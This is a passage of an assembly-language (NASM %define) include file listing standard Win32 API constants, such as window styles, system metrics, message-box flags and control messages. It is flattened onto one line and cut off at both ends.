WS_DISABLED 8000000h +%define WS_CLIPSIBLINGS 4000000h +%define WS_CLIPCHILDREN 2000000h +%define WS_MAXIMIZE 1000000h +%define WS_CAPTION 0C00000h +%define WS_BORDER 800000h +%define WS_DLGFRAME 400000h +%define WS_VSCROLL 200000h +%define WS_HSCROLL 100000h +%define WS_SYSMENU 80000h +%define WS_THICKFRAME 40000h +%define WS_GROUP 20000h +%define WS_TABSTOP 10000h +%define WS_MINIMIZEBOX 20000h +%define WS_MAXIMIZEBOX 10000h +%define WS_TILED WS_OVERLAPPED +%define WS_ICONIC WS_MINIMIZE +%define WS_SIZEBOX WS_THICKFRAME +%define WS_OVERLAPPEDWINDOW WS_OVERLAPPED|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME|WS_MINIMIZEBOX|WS_MAXIMIZEBOX +%define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW +%define WS_POPUPWINDOW WS_POPUP|WS_BORDER|WS_SYSMENU +%define WS_CHILDWINDOW WS_CHILD +%define WS_EX_DLGMODALFRAME 1h +%define WS_EX_NOPARENTNOTIFY 4h +%define WS_EX_TOPMOST 8h +%define WS_EX_ACCEPTFILES 10h +%define WS_EX_TRANSPARENT 20h +%define WS_EX_MDICHILD 00000040h +%define WS_EX_TOOLWINDOW 00000080h +%define WS_EX_WINDOWEDGE 00000100h +%define WS_EX_CLIENTEDGE 00000200h +%define WS_EX_CONTEXTHELP 00000400h +%define WS_EX_RIGHT 00001000h +%define WS_EX_LEFT 00000000h +%define WS_EX_RTLREADING 00002000h +%define WS_EX_LTRREADING 00000000h +%define WS_EX_LEFTSCROLLBAR 00004000h +%define WS_EX_RIGHTSCROLLBAR 00000000h +%define WS_EX_CONTROLPARENT 00010000h +%define WS_EX_STATICEDGE 00020000h +%define WS_EX_APPWINDOW 00040000h +%define WS_EX_OVERLAPPEDWINDOW WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE +%define WS_EX_PALETTEWINDOW WS_EX_WINDOWEDGE|WS_EX_TOOLWINDOW|WS_EX_TOPMOST +%define CS_VREDRAW 1h +%define CS_HREDRAW 2h +%define CS_KEYCVTWINDOW 4h +%define CS_DBLCLKS 8h +%define CS_OWNDC 20h +%define CS_CLASSDC 40h +%define CS_PARENTDC 80h +%define CS_NOKEYCVT 100h +%define CS_NOCLOSE 200h +%define CS_SAVEBITS 800h +%define CS_BYTEALIGNCLIENT 1000h +%define CS_BYTEALIGNWINDOW 2000h +%define CS_PUBLICCLASS 4000h +%define CS_GLOBALCLASS CS_PUBLICCLASS +%define CF_TEXT 1 +%define CF_BITMAP 2 +%define CF_METAFILEPICT 3 +%define CF_SYLK 4 +%define CF_DIF 5 +%define CF_TIFF 6 +%define CF_OEMTEXT 7 +%define CF_DIB 8 +%define CF_PALETTE 9 +%define CF_PENDATA 10 +%define CF_RIFF 11 +%define CF_WAVE 12 +%define CF_OWNERDISPLAY 80h +%define CF_DSPTEXT 81h +%define CF_DSPBITMAP 82h +%define CF_DSPMETAFILEPICT 83h +%define CF_DSPENHMETAFILE 8Eh +%define CF_PRIVATEFIRST 200h +%define CF_PRIVATELAST 2FFh +%define CF_GDIOBJFIRST 300h +%define CF_GDIOBJLAST 3FFh +%define FVIRTKEY 1h +%define FNOINVERT 2h +%define FSHIFT 4h +%define FCONTROL 8h +%define FALT 10h +%define WPF_SETMINPOSITION 1h +%define WPF_RESTORETOMAXIMIZED 2h +%define ODT_MENU 1 +%define ODT_LISTBOX 2 +%define ODT_COMBOBOX 3 +%define ODT_BUTTON 4 +%define ODA_DRAWENTIRE 1h +%define ODA_SELECT 2h +%define ODA_FOCUS 4h +%define ODS_SELECTED 1h +%define ODS_GRAYED 2h +%define ODS_DISABLED 4h +%define ODS_CHECKED 8h +%define ODS_FOCUS 10h +%define PM_NOREMOVE 0h +%define PM_REMOVE 1h +%define PM_NOYIELD 2h +%define MOD_ALT 1h +%define MOD_CONTROL 2h +%define MOD_SHIFT 4h +%define IDHOT_SNAPWINDOW -1 +%define IDHOT_SNAPDESKTOP -2 +%define EWX_LOGOFF 0 +%define EWX_SHUTDOWN 1 +%define EWX_REBOOT 2 +%define EWX_FORCE 4 +%define EW_RESTARTWINDOWS 42h +%define READAPI 0 +%define WRITEAPI 1 +%define READ_WRITE 2 +%define HWND_BROADCAST 0FFFFh +%define CW_USEDEFAULT 80000000h +%define HWND_DESKTOP 0 +%define SWP_NOSIZE 1h +%define SWP_NOMOVE 2h +%define SWP_NOZORDER 4h +%define SWP_NOREDRAW 8h +%define SWP_NOACTIVATE 10h +%define SWP_FRAMECHANGED 20h +%define SWP_SHOWWINDOW 40h +%define SWP_HIDEWINDOW 80h +%define SWP_NOCOPYBITS 100h +%define SWP_NOOWNERZORDER 200h +%define SWP_DRAWFRAME SWP_FRAMECHANGED +%define SWP_NOREPOSITION SWP_NOOWNERZORDER +%define HWND_TOP 0 +%define HWND_BOTTOM 1 +%define HWND_TOPMOST -1 +%define HWND_NOTOPMOST -2 +%define DLGWINDOWEXTRA 30 +%define KEYEVENTF_EXTENDEDKEY 1h +%define KEYEVENTF_KEYUP 2h +%define MOUSEEVENTF_MOVE 1h +%define MOUSEEVENTF_LEFTDOWN 2h +%define MOUSEEVENTF_LEFTUP 4h +%define MOUSEEVENTF_RIGHTDOWN 8h +%define MOUSEEVENTF_RIGHTUP 10h +%define MOUSEEVENTF_MIDDLEDOWN 20h +%define MOUSEEVENTF_MIDDLEUP 40h +%define MOUSEEVENTF_ABSOLUTE 8000h +%define QS_KEY 1h +%define QS_MOUSEMOVE 2h +%define QS_MOUSEBUTTON 4h +%define QS_POSTMESSAGE 8h +%define QS_TIMER 10h +%define QS_PAINT 20h +%define QS_SENDMESSAGE 40h +%define QS_HOTKEY 80h +%define QS_MOUSE QS_MOUSEMOVE|QS_MOUSEBUTTON +%define QS_INPUT QS_MOUSE|QS_KEY +%define QS_ALLEVENTS QS_INPUT|QS_POSTMESSAGE|QS_TIMER|QS_PAINT|QS_HOTKEY +%define QS_ALLINPUT QS_SENDMESSAGE|QS_PAINT|QS_TIMER|QS_POSTMESSAGE|QS_MOUSEBUTTON|QS_MOUSEMOVE|QS_HOTKEY|QS_KEY +%define SM_CXSCREEN 0 +%define SM_CYSCREEN 1 +%define SM_CXVSCROLL 2 +%define SM_CYHSCROLL 3 +%define SM_CYCAPTION 4 +%define SM_CXBORDER 5 +%define SM_CYBORDER 6 +%define SM_CXDLGFRAME 7 +%define SM_CYDLGFRAME 8 +%define SM_CYVTHUMB 9 +%define SM_CXHTHUMB 10 +%define SM_CXICON 11 +%define SM_CYICON 12 +%define SM_CXCURSOR 13 +%define SM_CYCURSOR 14 +%define SM_CYMENU 15 +%define SM_CXFULLSCREEN 16 +%define SM_CYFULLSCREEN 17 +%define SM_CYKANJIWINDOW 18 +%define SM_MOUSEPRESENT 19 +%define SM_CYVSCROLL 20 +%define SM_CXHSCROLL 21 +%define SM_DEBUG 22 +%define SM_SWAPBUTTON 23 +%define SM_RESERVED1 24 +%define SM_RESERVED2 25 +%define SM_RESERVED3 26 +%define SM_RESERVED4 27 +%define SM_CXMIN 28 +%define SM_CYMIN 29 +%define SM_CXSIZE 30 +%define SM_CYSIZE 31 +%define SM_CXFRAME 32 +%define SM_CYFRAME 33 +%define SM_CXMINTRACK 34 +%define SM_CYMINTRACK 35 +%define SM_CXDOUBLECLK 36 +%define SM_CYDOUBLECLK 37 +%define SM_CXICONSPACING 38 +%define SM_CYICONSPACING 39 +%define SM_MENUDROPALIGNMENT 40 +%define SM_PENWINDOWS 41 +%define SM_DBCSENABLED 42 +%define SM_CMOUSEBUTTONS 43 +%define SM_CXFIXEDFRAME SM_CXDLGFRAME +%define SM_CYFIXEDFRAME SM_CYDLGFRAME +%define SM_CXSIZEFRAME SM_CXFRAME +%define SM_CYSIZEFRAME SM_CYFRAME +%define SM_SECURE 44 +%define SM_CXEDGE 45 +%define SM_CYEDGE 46 +%define SM_CXMINSPACING 47 +%define SM_CYMINSPACING 48 +%define SM_CXSMICON 49 +%define SM_CYSMICON 50 +%define SM_CYSMCAPTION 51 +%define SM_CXSMSIZE 52 +%define SM_CYSMSIZE 53 +%define SM_CXMENUSIZE 54 +%define SM_CYMENUSIZE 55 +%define SM_ARRANGE 56 +%define SM_CXMINIMIZED 57 +%define SM_CYMINIMIZED 58 +%define SM_CXMAXTRACK 59 +%define SM_CYMAXTRACK 60 +%define SM_CXMAXIMIZED 61 +%define SM_CYMAXIMIZED 62 +%define SM_NETWORK 63 +%define SM_CLEANBOOT 67 +%define SM_CXDRAG 68 +%define SM_CYDRAG 69 +%define SM_SHOWSOUNDS 70 +%define SM_CXMENUCHECK 71 +%define SM_CYMENUCHECK 72 +%define SM_SLOWMACHINE 73 +%define SM_MIDEASTENABLED 74 +%define SM_CMETRICS 75 +%define TPM_LEFTBUTTON 0h +%define TPM_RIGHTBUTTON 2h +%define TPM_LEFTALIGN 0h +%define TPM_CENTERALIGN 4h +%define TPM_RIGHTALIGN 8h +%define DT_TOP 0h +%define DT_LEFT 0h +%define DT_CENTER 1h +%define DT_RIGHT 2h +%define DT_VCENTER 4h +%define DT_BOTTOM 8h +%define DT_WORDBREAK 10h +%define DT_SINGLELINE 20h +%define DT_EXPANDTABS 40h +%define DT_TABSTOP 80h +%define DT_NOCLIP 100h +%define DT_EXTERNALLEADING 200h +%define DT_CALCRECT 400h +%define DT_NOPREFIX 800h +%define DT_INTERNAL 1000h +%define DCX_WINDOW 1h +%define DCX_CACHE 2h +%define DCX_NORESETATTRS 4h +%define DCX_CLIPCHILDREN 8h +%define DCX_CLIPSIBLINGS 10h +%define DCX_PARENTCLIP 20h +%define DCX_EXCLUDERGN 40h +%define DCX_INTERSECTRGN 80h +%define DCX_EXCLUDEUPDATE 100h +%define DCX_INTERSECTUPDATE 200h +%define DCX_LOCKWINDOWUPDATE 400h +%define DCX_NORECOMPUTE 100000h +%define DCX_VALIDATE 200000h +%define RDW_INVALIDATE 1h +%define RDW_INTERNALPAINT 2h +%define RDW_ERASE 4h +%define RDW_VALIDATE 8h +%define RDW_NOINTERNALPAINT 10h +%define RDW_NOERASE 20h +%define RDW_NOCHILDREN 40h +%define RDW_ALLCHILDREN 80h +%define RDW_UPDATENOW 100h +%define RDW_ERASENOW 200h +%define RDW_FRAME 400h +%define RDW_NOFRAME 800h +%define SW_SCROLLCHILDREN 1h +%define SW_INVALIDATE 2h +%define SW_ERASE 4h +%define ESB_ENABLE_BOTH 0h +%define ESB_DISABLE_BOTH 3h +%define ESB_DISABLE_LEFT 1h +%define ESB_DISABLE_RIGHT 2h +%define ESB_DISABLE_UP 1h +%define ESB_DISABLE_DOWN 2h +%define ESB_DISABLE_LTUP ESB_DISABLE_LEFT +%define ESB_DISABLE_RTDN ESB_DISABLE_RIGHT +%define MB_OK 0h +%define MB_OKCANCEL 1h +%define MB_ABORTRETRYIGNORE 2h +%define MB_YESNOCANCEL 3h +%define MB_YESNO 4h +%define MB_RETRYCANCEL 5h +%define MB_ICONHAND 10h +%define MB_ICONQUESTION 20h +%define MB_ICONEXCLAMATION 30h +%define MB_ICONASTERISK 40h +%define MB_ICONERROR MB_ICONHAND +%define MB_ICONINFORMATION MB_ICONASTERISK +%define MB_ICONSTOP MB_ICONHAND +%define MB_ICONWARNING MB_ICONEXCLAMATION +%define MB_DEFBUTTON1 0h +%define MB_DEFBUTTON2 100h +%define MB_DEFBUTTON3 200h +%define MB_APPLMODAL 0h +%define MB_SYSTEMMODAL 1000h +%define MB_TASKMODAL 2000h +%define MB_NOFOCUS 8000h +%define MB_SETFOREGROUND 10000h +%define MB_DEFAULT_DESKTOP_ONLY 20000h +%define MB_TYPEMASK 0Fh +%define MB_ICONMASK 0F0h +%define MB_DEFMASK 0F00h +%define MB_MODEMASK 3000h +%define MB_MISCMASK 0C000h +%define CTLCOLOR_MSGBOX 0 +%define CTLCOLOR_EDIT 1 +%define CTLCOLOR_LISTBOX 2 +%define CTLCOLOR_BTN 3 +%define CTLCOLOR_DLG 4 +%define CTLCOLOR_SCROLLBAR 5 +%define CTLCOLOR_STATIC 6 +%define CTLCOLOR_MAX 8 +%define COLOR_SCROLLBAR 0 +%define COLOR_BACKGROUND 1 +%define COLOR_ACTIVECAPTION 2 +%define COLOR_INACTIVECAPTION 3 +%define COLOR_MENU 4 +%define COLOR_WINDOW 5 +%define COLOR_WINDOWFRAME 6 +%define COLOR_MENUTEXT 7 +%define COLOR_WINDOWTEXT 8 +%define COLOR_CAPTIONTEXT 9 +%define COLOR_ACTIVEBORDER 10 +%define COLOR_INACTIVEBORDER 11 +%define COLOR_APPWORKSPACE 12 +%define COLOR_HIGHLIGHT 13 +%define COLOR_HIGHLIGHTTEXT 14 +%define COLOR_BTNFACE 15 +%define COLOR_BTNSHADOW 16 +%define COLOR_GRAYTEXT 17 +%define COLOR_BTNTEXT 18 +%define COLOR_INACTIVECAPTIONTEXT 19 +%define COLOR_BTNHIGHLIGHT 20 +%define COLOR_3DDKSHADOW 21 +%define COLOR_3DLIGHT 22 +%define COLOR_INFOTEXT 23 +%define COLOR_INFOBK 24 +%define COLOR_DESKTOP COLOR_BACKGROUND +%define COLOR_3DFACE COLOR_BTNFACE +%define COLOR_3DSHADOW COLOR_BTNSHADOW +%define COLOR_3DHIGHLIGHT COLOR_BTNHIGHLIGHT +%define COLOR_3DHILIGHT COLOR_BTNHIGHLIGHT +%define COLOR_BTNHILIGHT COLOR_BTNHIGHLIGHT +%define GW_HWNDFIRST 0 +%define GW_HWNDLAST 1 +%define GW_HWNDNEXT 2 +%define GW_HWNDPREV 3 +%define GW_OWNER 4 +%define GW_CHILD 5 +%define GW_MAX 5 +%define MF_INSERT 0h +%define MF_CHANGE 80h +%define MF_APPEND 100h +%define MF_DELETE 200h +%define MF_REMOVE 1000h +%define MF_BYCOMMAND 0h +%define MF_BYPOSITION 400h +%define MF_SEPARATOR 800h +%define MF_ENABLED 0h +%define MF_GRAYED 1h +%define MF_DISABLED 2h +%define MF_UNCHECKED 0h +%define MF_CHECKED 8h +%define MF_USECHECKBITMAPS 200h +%define MF_STRING 0h +%define MF_BITMAP 4h +%define MF_OWNERDRAW 100h +%define MF_POPUP 10h +%define MF_MENUBARBREAK 20h +%define MF_MENUBREAK 40h +%define MF_UNHILITE 0h +%define MF_HILITE 80h +%define MF_SYSMENU 2000h +%define MF_HELP 4000h +%define MF_MOUSESELECT 8000h +%define MF_END 80h +%define SC_SIZE 0F000h +%define SC_MOVE 0F010h +%define SC_MINIMIZE 0F020h +%define SC_MAXIMIZE 0F030h +%define SC_NEXTWINDOW 0F040h +%define SC_PREVWINDOW 0F050h +%define SC_CLOSE 0F060h +%define SC_VSCROLL 0F070h +%define SC_HSCROLL 0F080h +%define SC_MOUSEMENU 0F090h +%define SC_KEYMENU 0F100h +%define SC_ARRANGE 0F110h +%define SC_RESTORE 0F120h +%define SC_TASKLIST 0F130h +%define SC_SCREENSAVE 0F140h +%define SC_HOTKEY 0F150h +%define SC_ICON SC_MINIMIZE +%define SC_ZOOM SC_MAXIMIZE +%define IDC_ARROW 32512 +%define IDC_IBEAM 32513 +%define IDC_WAIT 32514 +%define IDC_CROSS 32515 +%define IDC_UPARROW 32516 +%define IDC_SIZE 32640 +%define IDC_ICON 32641 +%define IDC_SIZENWSE 32642 +%define IDC_SIZENESW 32643 +%define IDC_SIZEWE 32644 +%define IDC_SIZENS 32645 +%define IDC_SIZEALL 32646 +%define IDC_NO 32648 +%define IDC_APPSTARTING 32650 +%define OBM_CLOSE 32754 +%define OBM_UPARROW 32753 +%define OBM_DNARROW 32752 +%define OBM_RGARROW 32751 +%define OBM_LFARROW 32750 +%define OBM_REDUCE 32749 +%define OBM_ZOOM 32748 +%define OBM_RESTORE 32747 +%define OBM_REDUCED 32746 +%define OBM_ZOOMD 32745 +%define OBM_RESTORED 32744 +%define OBM_UPARROWD 32743 +%define OBM_DNARROWD 32742 +%define OBM_RGARROWD 32741 +%define OBM_LFARROWD 32740 +%define OBM_MNARROW 32739 +%define OBM_COMBO 32738 +%define OBM_UPARROWI 32737 +%define OBM_DNARROWI 32736 +%define OBM_RGARROWI 32735 +%define OBM_LFARROWI 32734 +%define OBM_OLD_CLOSE 32767 +%define OBM_SIZE 32766 +%define OBM_OLD_UPARROW 32765 +%define OBM_OLD_DNARROW 32764 +%define OBM_OLD_RGARROW 32763 +%define OBM_OLD_LFARROW 32762 +%define OBM_BTSIZE 32761 +%define OBM_CHECK 32760 +%define OBM_CHECKBOXES 32759 +%define OBM_BTNCORNERS 32758 +%define OBM_OLD_REDUCE 32757 +%define OBM_OLD_ZOOM 32756 +%define OBM_OLD_RESTORE 32755 +%define OCR_NORMAL 32512 +%define OCR_IBEAM 32513 +%define OCR_WAIT 32514 +%define OCR_CROSS 32515 +%define OCR_UP 32516 +%define OCR_SIZE 32640 +%define OCR_ICON 32641 +%define OCR_SIZENWSE 32642 +%define OCR_SIZENESW 32643 +%define OCR_SIZEWE 32644 +%define OCR_SIZENS 32645 +%define OCR_SIZEALL 32646 +%define OCR_ICOCUR 32647 +%define OCR_NO 32648 +%define OIC_SAMPLE 32512 +%define OIC_HAND 32513 +%define OIC_QUES 32514 +%define OIC_BANG 32515 +%define OIC_NOTE 32516 +%define ORD_LANGDRIVER 1 +%define IDI_APPLICATION 32512 +%define IDI_HAND 32513 +%define IDI_QUESTION 32514 +%define IDI_EXCLAMATION 32515 +%define IDI_ASTERISK 32516 +%define IDOK 1 +%define IDCANCEL 2 +%define IDABORT 3 +%define IDRETRY 4 +%define IDIGNORE 5 +%define IDYES 6 +%define IDNO 7 +%define ES_LEFT 0h +%define ES_CENTER 1h +%define ES_RIGHT 2h +%define ES_MULTILINE 4h +%define ES_UPPERCASE 8h +%define ES_LOWERCASE 10h +%define ES_PASSWORD 20h +%define ES_AUTOVSCROLL 40h +%define ES_AUTOHSCROLL 80h +%define ES_NOHIDESEL 100h +%define ES_OEMCONVERT 400h +%define ES_READONLY 800h +%define ES_WANTRETURN 1000h +%define EN_SETFOCUS 100h +%define EN_KILLFOCUS 200h +%define EN_CHANGE 300h +%define EN_UPDATE 400h +%define EN_ERRSPACE 500h +%define EN_MAXTEXT 501h +%define EN_HSCROLL 601h +%define EN_VSCROLL 602h +%define EM_GETSEL 0B0h +%define EM_SETSEL 0B1h +%define EM_GETRECT 0B2h +%define EM_SETRECT 0B3h +%define EM_SETRECTNP 0B4h +%define EM_SCROLL 0B5h +%define EM_LINESCROLL 0B6h +%define EM_SCROLLCARET 0B7h +%define EM_GETMODIFY 0B8h +%define EM_SETMODIFY 0B9h +%define EM_GETLINECOUNT 0BAh +%define EM_LINEINDEX 0BBh +%define EM_SETHANDLE 0BCh +%define EM_GETHANDLE 0BDh +%define EM_GETTHUMB 0BEh +%define EM_LINELENGTH 0C1h +%define EM_REPLACESEL 0C2h +%define EM_GETLINE 0C4h +%define EM_LIMITTEXT 0C5h +%define EM_CANUNDO 0C6h +%define EM_UNDO 0C7h +%define EM_FMTLINES 0C8h +%define EM_LINEFROMCHAR 0C9h +%define EM_SETTABSTOPS 0CBh +%define EM_SETPASSWORDCHAR 0CCh +%define EM_EMPTYUNDOBUFFER 0CDh +%define EM_GETFIRSTVISIBLELINE 0CEh +%define EM_SETREADONLY 0CFh +%define EM_SETWORDBREAKPROC 0D0h +%define EM_GETWORDBREAKPROC 0D1h +%define EM_GETPASSWORDCHAR 0D2h +%define EM_SETMARGINS 0D3h +%define EM_GETMARGINS 0D4h +%define EM_SETLIMITTEXT EM_LIMITTEXT +%define EM_GETLIMITTEXT 0D5h +%define EM_POSFROMCHAR 0D6h +%define EM_CHARFROMPOS 0D7h +%define WB_LEFT 0 +%define WB_RIGHT 1 +%define WB_ISDELIMITER 2 +%define BS_PUSHBUTTON 0h +%define BS_DEFPUSHBUTTON 1h +%define BS_CHECKBOX 2h +%define BS_AUTOCHECKBOX 3h +%define BS_RADIOBUTTON 4h +%define BS_3STATE 5h +%define BS_AUTO3STATE 6h +%define BS_GROUPBOX 7h +%define BS_USERBUTTON 8h +%define BS_AUTORADIOBUTTON 9h +%define BS_OWNERDRAW 0Bh +%define BS_LEFTTEXT 20h +%define BS_BITMAP 80h +%define BS_ICON 40h +%define BN_CLICKED 0 +%define BN_PAINT 1 +%define BN_HILITE 2 +%define BN_UNHILITE 3 +%define BN_DISABLE 4 +%define BN_DOUBLECLICKED 5 +%define BN_SETFOCUS 6 +%define BN_KILLFOCUS 7 +%define BST_UNCHECKED 00h +%define BST_CHECKED 01h +%define BST_INDETERMINATE 02h +%define BST_PUSHED 04h +%define BM_GETCHECK 0F0h +%define BM_SETCHECK 0F1h +%define BM_GETSTATE 0F2h +%define BM_SETSTATE 0F3h +%define BM_SETSTYLE 0F4h +%define BM_CLICK 0F5h +%define BM_GETIMAGE 0F6h +%define BM_SETIMAGE 0F7h +%define SS_LEFT 0h +%define SS_CENTER 1h +%define SS_RIGHT 2h +%define SS_ICON 3h +%define SS_BLACKRECT 4h +%define SS_GRAYRECT 5h +%define SS_WHITERECT 6h +%define SS_BLACKFRAME 7h +%define SS_GRAYFRAME 8h +%define SS_WHITEFRAME 9h +%define SS_USERITEM 0Ah +%define SS_SIMPLE 0Bh +%define SS_LEFTNOWORDWRAP 0Ch +%define SS_NOPREFIX 80h +%define STM_SETICON 170h +%define STM_GETICON 171h +%define STM_MSGMAX 172h +%define WC_DIALOG 8002 +%define DWL_MSGRESULT 0 +%define DWL_DLGPROC 4 +%define DWL_USER 8 +%define DDL_READWRITE 0h +%define DDL_READONLY 1h +%define DDL_HIDDEN 2h +%define DDL_SYSTEM 4h +%define DDL_DIRECTORY 10h +%define DDL_ARCHIVE 20h +%define DDL_POSTMSGS 2000h +%define DDL_DRIVES 4000h +%define DDL_EXCLUSIVE 8000h +%define DS_ABSALIGN 0001h +%define DS_SYSMODAL 0002h +%define DS_3DLOOK 0004h +%define DS_FIXEDSYS 0008h +%define DS_NOFAILCREATE 0010h +%define DS_LOCALEDIT 0020h +%define DS_SETFONT 0040h +%define DS_MODALFRAME 0080h +%define DS_NOIDLEMSG 0100h +%define DS_SETFOREGROUND 0200h +%define DS_CONTROL 0400h +%define DS_CENTER 0800h +%define DS_CENTERMOUSE 1000h +%define DS_CONTEXTHELP 2000h +%define DM_GETDEFID WM_USER+0 +%define DM_SETDEFID WM_USER+1 +%define DC_HASDEFID 534h +%define DLGC_WANTARROWS 1h +%define DLGC_WANTTAB 2h +%define DLGC_WANTALLKEYS 4h +%define DLGC_WANTMESSAGE 4h +%define DLGC_HASSETSEL 8h +%define DLGC_DEFPUSHBUTTON 10h +%define DLGC_UNDEFPUSHBUTTON 20h +%define DLGC_RADIOBUTTON 40h +%define DLGC_WANTCHARS 80h +%define DLGC_STATIC 100h +%define DLGC_BUTTON 2000h +%define LB_CTLCODE 0 +%define LB_OKAY 0 +%define LB_ERR -1 +%define LB_ERRSPACE -2 +%define LBN_ERRSPACE -2 +%define LBN_SELCHANGE 1 +%define LBN_DBLCLK 2 +%define LBN_SELCANCEL 3 +%define LBN_SETFOCUS 4 +%define LBN_KILLFOCUS 5 +%define LB_ADDSTRING 180h +%define LB_INSERTSTRING 181h +%define LB_DELETESTRING 182h +%define LB_SELITEMRANGEEX 183h +%define LB_RESETCONTENT 184h +%define LB_SETSEL 185h +%define LB_SETCURSEL 186h +%define LB_GETSEL 187h +%define LB_GETCURSEL 188h +%define LB_GETTEXT 189h +%define LB_GETTEXTLEN 18Ah +%define LB_GETCOUNT 18Bh +%define LB_SELECTSTRING 18Ch +%define LB_DIR 18Dh +%define LB_GETTOPINDEX 18Eh +%define LB_FINDSTRING 18Fh +%define LB_GETSELCOUNT 190h +%define LB_GETSELITEMS 191h +%define LB_SETTABSTOPS 192h +%define LB_GETHORIZONTALEXTENT 193h +%define LB_SETHORIZONTALEXTENT 194h +%define LB_SETCOLUMNWIDTH 195h +%define LB_ADDFILE 196h +%define LB_SETTOPINDEX 197h +%define LB_GETITEMRECT 198h +%define LB_GETITEMDATA 199h +%define LB_SETITEMDATA 19Ah +%define LB_SELITEMRANGE 19Bh +%define LB_SETANCHORINDEX 19Ch +%define LB_GETANCHORINDEX 19Dh +%define LB_SETCARETINDEX 19Eh +%define LB_GETCARETINDEX 19Fh +%define LB_SETITEMHEIGHT 1A0h +%define LB_GETITEMHEIGHT 1A1h +%define LB_FINDSTRINGEXACT 1A2h +%define LB_SETLOCALE 1A5h +%define LB_GETLOCALE 1A6h +%define LB_SETCOUNT 1A7h +%define LB_MSGMAX 1A8h +%define LBS_NOTIFY 1h +%define LBS_SORT 2h +%define LBS_NOREDRAW 4h +%define LBS_MULTIPLESEL 8h +%define LBS_OWNERDRAWFIXED 10h +%define LBS_OWNERDRAWVARIABLE 20h +%define LBS_HASSTRINGS 40h +%define LBS_USETABSTOPS 80h +%define LBS_NOINTEGRALHEIGHT 100h +%define LBS_MULTICOLUMN 200h +%define LBS_WANTKEYBOARDINPUT 400h +%define LBS_EXTENDEDSEL 800h +%define LBS_DISABLENOSCROLL 1000h +%define LBS_NODATA 2000h +%define LBS_STANDARD LBS_NOTIFY|LBS_SORT|WS_VSCROLL|WS_BORDER +%define CB_OKAY 0 +%define CB_ERR -1 +%define CB_ERRSPACE -2 +%define CBN_ERRSPACE -1 +%define CBN_SELCHANGE 1 +%define CBN_DBLCLK 2 +%define CBN_SETFOCUS 3 +%define CBN_KILLFOCUS 4 +%define CBN_EDITCHANGE 5 +%define CBN_EDITUPDATE 6 +%define CBN_DROPDOWN 7 +%define CBN_CLOSEUP 8 +%define CBN_SELENDOK 9 +%define CBN_SELENDCANCEL 10 +%define CBS_SIMPLE 1h +%define CBS_DROPDOWN 2h +%define CBS_DROPDOWNLIST 3h +%define CBS_OWNERDRAWFIXED 10h +%define CBS_OWNERDRAWVARIABLE 20h +%define CBS_AUTOHSCROLL 40h +%define CBS_OEMCONVERT 80h +%define CBS_SORT 100h +%define CBS_HASSTRINGS 200h +%define CBS_NOINTEGRALHEIGHT 400h +%define CBS_DISABLENOSCROLL 800h +%define CB_GETEDITSEL 140h +%define CB_LIMITTEXT 141h +%define CB_SETEDITSEL 142h +%define CB_ADDSTRING 143h +%define CB_DELETESTRING 144h +%define CB_DIR 145h +%define CB_GETCOUNT 146h +%define CB_GETCURSEL 147h +%define CB_GETLBTEXT 148h +%define CB_GETLBTEXTLEN 149h +%define CB_INSERTSTRING 14Ah +%define CB_RESETCONTENT 14Bh +%define CB_FINDSTRING 14Ch +%define CB_SELECTSTRING 14Dh +%define CB_SETCURSEL 14Eh +%define CB_SHOWDROPDOWN 14Fh +%define CB_GETITEMDATA 150h +%define CB_SETITEMDATA 151h +%define CB_GETDROPPEDCONTROLRECT 152h +%define CB_SETITEMHEIGHT 153h +%define CB_GETITEMHEIGHT 154h +%define CB_SETEXTENDEDUI 155h +%define CB_GETEXTENDEDUI 156h +%define CB_GETDROPPEDSTATE 157h +%define CB_FINDSTRINGEXACT 158h +%define CB_SETLOCALE 159h +%define CB_GETLOCALE 15Ah +%define CB_GETTOPINDEX 15Bh +%define CB_SETTOPINDEX 15Ch +%define CB_GETHORIZONTALEXTENT 15Dh +%define CB_SETHORIZONTALEXTENT 15Eh +%define CB_GETDROPPEDWIDTH 15Fh +%define CB_SETDROPPEDWIDTH 160h +%define CB_INITSTORAGE 161h +%define CB_MSGMAX 162h +%define SBS_HORZ 0h +%define SBS_VERT 1h +%define SBS_TOPALIGN 2h +%define SBS_LEFTALIGN 2h +%define SBS_BOTTOMALIGN 4h +%define SBS_RIGHTALIGN 4h +%define SBS_SIZEBOXTOPLEFTALIGN 2h +%define SBS_SIZEBOXBOTTOMRIGHTALIGN 4h +%define SBS_SIZEBOX 8h +%define SBS_SIZEGRIP 10h +%define SBM_SETPOS 0E0h +%define SBM_GETPOS 0E1h +%define SBM_SETRANGE 0E2h +%define SBM_SETRANGEREDRAW 0E6h +%define SBM_GETRANGE 0E3h +%define SBM_ENABLE_ARROWS 0E4h +%define MDIS_ALLCHILDSTYLES 1h +%define MDITILE_VERTICAL 0h +%define MDITILE_HORIZONTAL 1h +%define MDITILE_SKIPDISABLED 2h +%define HELP_CONTEXT 1h +%define HELP_QUIT 2h +%define HELP_INDEX 3h +%define HELP_CONTENTS 3h +%define HELP_HELPONHELP 4h +%define HELP_SETINDEX 5h +%define HELP_SETCONTENTS 5h +%define HELP_CONTEXTPOPUP 8h +%define HELP_FORCEFILE 9h +%define HELP_KEY 101h +%define HELP_COMMAND 102h +%define HELP_PARTIALKEY 105h +%define HELP_MULTIKEY 201h +%define HELP_SETWINPOS 203h +%define HELP_CONTEXTMENU 000Ah +%define HELP_FINDER 000Bh +%define HELP_WM_HELP 000Ch +%define HELP_SETPOPUP_POS 000Dh +%define HELP_TCARD 8000h +%define HELP_TCARD_DATA 0010h +%define HELP_TCARD_OTHER_CALLER 0011h +%define IDH_NO_HELP 28440 +%define IDH_MISSING_CONTEXT 28441 +%define IDH_GENERIC_HELP_BUTTON 28442 +%define IDH_OK 28443 +%define IDH_CANCEL 28444 +%define IDH_HELP 28445 +%define SPI_GETBEEP 1 +%define SPI_SETBEEP 2 +%define SPI_GETMOUSE 3 +%define SPI_SETMOUSE 4 +%define SPI_GETBORDER 5 +%define SPI_SETBORDER 6 +%define SPI_GETKEYBOARDSPEED 10 +%define SPI_SETKEYBOARDSPEED 11 +%define SPI_LANGDRIVER 12 +%define SPI_ICONHORIZONTALSPACING 13 +%define SPI_GETSCREENSAVETIMEOUT 14 +%define SPI_SETSCREENSAVETIMEOUT 15 +%define SPI_GETSCREENSAVEACTIVE 16 +%define SPI_SETSCREENSAVEACTIVE 17 +%define SPI_GETGRIDGRANULARITY 18 +%define SPI_SETGRIDGRANULARITY 